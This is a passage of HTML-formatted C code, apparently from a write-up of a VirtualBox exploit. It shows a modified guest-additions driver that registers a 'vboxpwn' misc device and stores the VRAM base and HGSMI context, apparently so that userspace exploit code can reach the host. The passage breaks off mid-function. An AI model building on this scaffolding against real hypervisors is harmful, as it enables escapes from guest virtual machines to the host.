class=\"crayon-v\">MISC_DYNAMIC_MINOR<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-729\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">name<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-s\">&#8220;vboxpwn&#8221;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-730\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">fops<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">g_PwnFileOps<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-731\"><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-732\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-733\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-734\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-735\"><span class=\"crayon-c\"> * Set up the HGSMI guest-to-host command context.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-736\"><span class=\"crayon-c\"> * @returns iprt status value<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-737\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;pCtx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;the context to set up<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-738\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;pvGuestHeapMemory&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; a pointer to the mapped backing memory for<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-739\"><span class=\"crayon-c\"> *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; the guest heap<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-740\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;cbGuestHeapMemory&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; the size of the backing memory area<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-741\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;offVRAMGuestHeapMemory&nbsp;&nbsp;the offset of the memory pointed to by<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-742\"><span class=\"crayon-c\"> *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; @a pvGuestHeapMemory within the video RAM<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-743\"><span class=\"crayon-c\"> *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-744\"><span class=\"crayon-e\">DECLHIDDEN<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMISetupGuestContext<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PHGSMIGUESTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-745\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">pvGuestHeapMemory<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-746\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">cbGuestHeapMemory<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-747\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">offVRAMGuestHeapMemory<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-748\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-m\">const<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">HGSMIENV *<\/span><span class=\"crayon-v\">pEnv<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-749\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-750\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">g_vram<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">pvGuestHeapMemory<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">offVRAMGuestHeapMemory<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-751\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">g_hgsmiContext<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-752\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">printk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Registering device node. VRAM @ 0x%016lxn&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">g_vram<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-753\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">misc_register<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">g_PwnDevice<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-754\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">printk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Successfully created pwn device.n&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-755\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-756\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">printk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Error creating pwn device.n&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-757\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-758\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-759\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/** @todo should we be using a fixed ISA port value here? *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-760\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">port<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">RTIOPORT<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">VGA_PORT_HGSMI_GUEST<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-761\"><span class=\"crayon-p\">#ifdef VBOX_WDDM_MINIPORT<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-762\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxSHGSMIInit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">heapCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pvGuestHeapMemory<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-763\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">cbGuestHeapMemory<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">offVRAMGuestHeapMemory<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pEnv<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-764\"><span class=\"crayon-p\">#else<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-765\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">HGSMIHeapSetup<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">heapCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pvGuestHeapMemory<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-766\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">cbGuestHeapMemory<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">offVRAMGuestHeapMemory<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pEnv<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-767\"><span class=\"crayon-p\">#endif<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-768\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-769\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-770\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-771\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-772\"><span class=\"crayon-c\"> * Get the information needed to map the area used by the host to send back<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-773\"><span class=\"crayon-c\"> * requests.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-774\"><span class=\"crayon-c\"> *<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-775\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;pCtx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;the context containing the heap to use<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-776\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;cbVRAM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;how much video RAM is allocated to the device<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-777\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;offVRAMBaseMapping&nbsp;&nbsp;the offset of the basic communication structures<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-778\"><span class=\"crayon-c\"> *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; into the guest&#8217;s VRAM<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-779\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;poffVRAMHostArea&nbsp;&nbsp;&nbsp;&nbsp;where to store the offset into VRAM of the host<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-780\"><span class=\"crayon-c\"> *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; heap area<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-781\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;pcbHostArea&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; where to store the size of the host heap area<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-782\"><span class=\"crayon-c\"> *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-783\"><span class=\"crayon-e\">DECLHIDDEN<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMIGetHostAreaMapping<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PHGSMIGUESTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-784\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">cbVRAM<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-785\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">offVRAMBaseMapping<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-786\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t *<\/span><span class=\"crayon-v\">poffVRAMHostArea<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-787\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t *<\/span><span class=\"crayon-v\">pcbHostArea<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-788\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-789\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">offVRAMHostArea<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">offVRAMBaseMapping<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbHostArea<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-790\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-791\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">AssertPtrReturnVoid<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">poffVRAMHostArea<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-792\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">AssertPtrReturnVoid<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pcbHostArea<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-793\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBoxQueryConfHGSMI<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VBOX_VBVA_CONF32_HOST_HEAP_SIZE<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">cbHostArea<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-794\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">cbHostArea<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-795\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-796\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">cbHostAreaMaxSize<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbVRAM<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-797\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/** @todo what is the idea of this? *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-798\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">cbHostAreaMaxSize<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&gt;=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VBVA_ADAPTER_INFORMATION_SIZE<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-799\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-800\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">cbHostAreaMaxSize<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">-=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VBVA_ADAPTER_INFORMATION_SIZE<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-801\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-802\"><span 